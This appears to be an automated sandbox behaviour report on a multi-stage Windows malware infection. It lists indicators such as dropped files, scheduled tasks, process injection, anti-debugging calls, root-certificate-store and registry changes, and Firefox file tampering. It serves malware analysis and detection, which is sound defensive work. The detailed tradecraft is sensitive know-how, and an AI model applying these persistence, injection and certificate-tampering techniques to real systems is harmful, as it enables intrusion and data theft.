File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	KhYUbSl.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	JeVYnmU.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	JeVYnmU.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	JeVYnmU.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exeexplortu.exe5e51633b83.exeaxplong.exea08da68092.exece412bbc54.exeda_protected.exe

pid	process
2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
2900	explortu.exe
2792	explortu.exe
2028	5e51633b83.exe
1896	axplong.exe
816	a08da68092.exe
1576	ce412bbc54.exe
3412	da_protected.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

explortu.exedrivermanager.exereakuqnanrkn.exechromedriver.exenlkwja.exenlkwja.exenlkwja.exe

description	pid	process	target process
PID 2900 set thread context of 2792	2900	explortu.exe	explortu.exe
PID 3932 set thread context of 3440	3932	drivermanager.exe	sc.exe
PID 820 set thread context of 4624	820	reakuqnanrkn.exe	conhost.exe
PID 820 set thread context of 4708	820	reakuqnanrkn.exe	explorer.exe
PID 296 set thread context of 4568	296	chromedriver.exe	chromedriver.exe
PID 5012 set thread context of 2924	5012	nlkwja.exe	nlkwja.exe
PID 4896 set thread context of 1372	4896	nlkwja.exe	nlkwja.exe
PID 756 set thread context of 4736	756	nlkwja.exe	nlkwja.exe

Drops file in Program Files directory 13 IoCs

Processes:

KhYUbSl.exe

description	ioc	process
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\IOyXwEN.xml	KhYUbSl.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	KhYUbSl.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\uLgMFsi.dll	KhYUbSl.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	KhYUbSl.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\reqZyCi.dll	KhYUbSl.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\eCRXpIM.xml	KhYUbSl.exe
File created	C:\Program Files (x86)\XPXpeEiKDyUn\sudNAfM.dll	KhYUbSl.exe
File created	C:\Program Files (x86)\dSFCGoajU\VowiXM.dll	KhYUbSl.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\iVMoNwkiOXxMC.dll	KhYUbSl.exe
File created	C:\Program Files (x86)\dSFCGoajU\pHYhnuH.xml	KhYUbSl.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\tXNDnZh.xml	KhYUbSl.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	KhYUbSl.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	KhYUbSl.exe

Drops file in Windows directory 12 IoCs

Processes:

schtasks.exeschtasks.exewusa.exeschtasks.exeschtasks.exeschtasks.exe0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe5e51633b83.exeNewLatest.exeb2c2c1.exewusa.exechromedriver.exe

description	ioc	process
File created	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File created	C:\Windows\Tasks\igQCsPejxzPEidhrw.job	schtasks.exe
File created	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\Tasks\explortu.job	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
File created	C:\Windows\Tasks\axplong.job	5e51633b83.exe
File created	C:\Windows\Tasks\Hkbsse.job	NewLatest.exe
File created	C:\Windows\Tasks\Dctooux.job	b2c2c1.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\Test Task17.job	chromedriver.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4224 sc.exe
4528 sc.exe
4544 sc.exe
3576 sc.exe
3492 sc.exe
3620 sc.exe
4400 sc.exe
3440 sc.exe
4488 sc.exe
4280 sc.exe
2844 sc.exe
1088 sc.exe
4404 sc.exe
3812 sc.exe
Detects Pyinstaller 1 IoCs
pyinstaller

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe pyinstaller
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4224	sc.exe
4528	sc.exe
4544	sc.exe
3576	sc.exe
3492	sc.exe
3620	sc.exe
4400	sc.exe
3440	sc.exe
4488	sc.exe
4280	sc.exe
2844	sc.exe
1088	sc.exe
4404	sc.exe
3812	sc.exe

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe	pyinstaller

Program crash 7 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3156	3108	WerFault.exe	upd.exe
3680	3644	WerFault.exe	gold.exe
1464	2300	WerFault.exe	legs.exe
4608	1264	WerFault.exe	JeVYnmU.exe
3000	1460	WerFault.exe	Install.exe
4320	3140	WerFault.exe	Install.exe
1976	4740	WerFault.exe	KhYUbSl.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exeInstall.exeInstall.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

KhYUbSl.exewscript.exepowershell.exerundll32.exeexplorer.exepowershell.exeJeVYnmU.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6057d40862c3da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f\WpadDecisionReason = "1"	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	KhYUbSl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	JeVYnmU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	KhYUbSl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	KhYUbSl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f	KhYUbSl.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1966DC90-6F93-469F-A026-6571FB8734E0}\WpadDecisionTime = a0af954562c3da01	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	JeVYnmU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	KhYUbSl.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	KhYUbSl.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	KhYUbSl.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	KhYUbSl.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000c0c63e1a62c3da01	JeVYnmU.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	KhYUbSl.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f\WpadDecisionTime = a0af954562c3da01	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f\WpadDecisionTime = a0af954562c3da01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	KhYUbSl.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\36-2a-5f-36-bb-1f\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	KhYUbSl.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	JeVYnmU.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	KhYUbSl.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Hkbsse.exeparbre.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Hkbsse.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Hkbsse.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	parbre.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	parbre.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1844	schtasks.exe
4272	schtasks.exe
4884	schtasks.exe
3340	schtasks.exe
2500	schtasks.exe
1092	schtasks.exe
316	schtasks.exe
2128	schtasks.exe
5008	schtasks.exe
3520	schtasks.exe
1700	schtasks.exe
4764	schtasks.exe
3332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exeexplortu.exe5e51633b83.exeaxplong.exea08da68092.exece412bbc54.exechrome.exeredline123123.exepowershell.exepowershell.exepowershell.exepowershell.exeFirstZ.exepowershell.exereakuqnanrkn.exepowershell.exe

pid	process
2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
2900	explortu.exe
2792	explortu.exe
2028	5e51633b83.exe
1896	axplong.exe
816	a08da68092.exe
1576	ce412bbc54.exe
1712	chrome.exe
1712	chrome.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
2552	redline123123.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
3172	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
5028	powershell.exe
3196	FirstZ.exe
1844	powershell.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
3196	FirstZ.exe
820	reakuqnanrkn.exe
4356	powershell.exe
820	reakuqnanrkn.exe
820	reakuqnanrkn.exe
820	reakuqnanrkn.exe
820	reakuqnanrkn.exe
820	reakuqnanrkn.exe
820	reakuqnanrkn.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exeredline123123.exedrivermanager.exeda_protected.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeDebugPrivilege	2552	redline123123.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
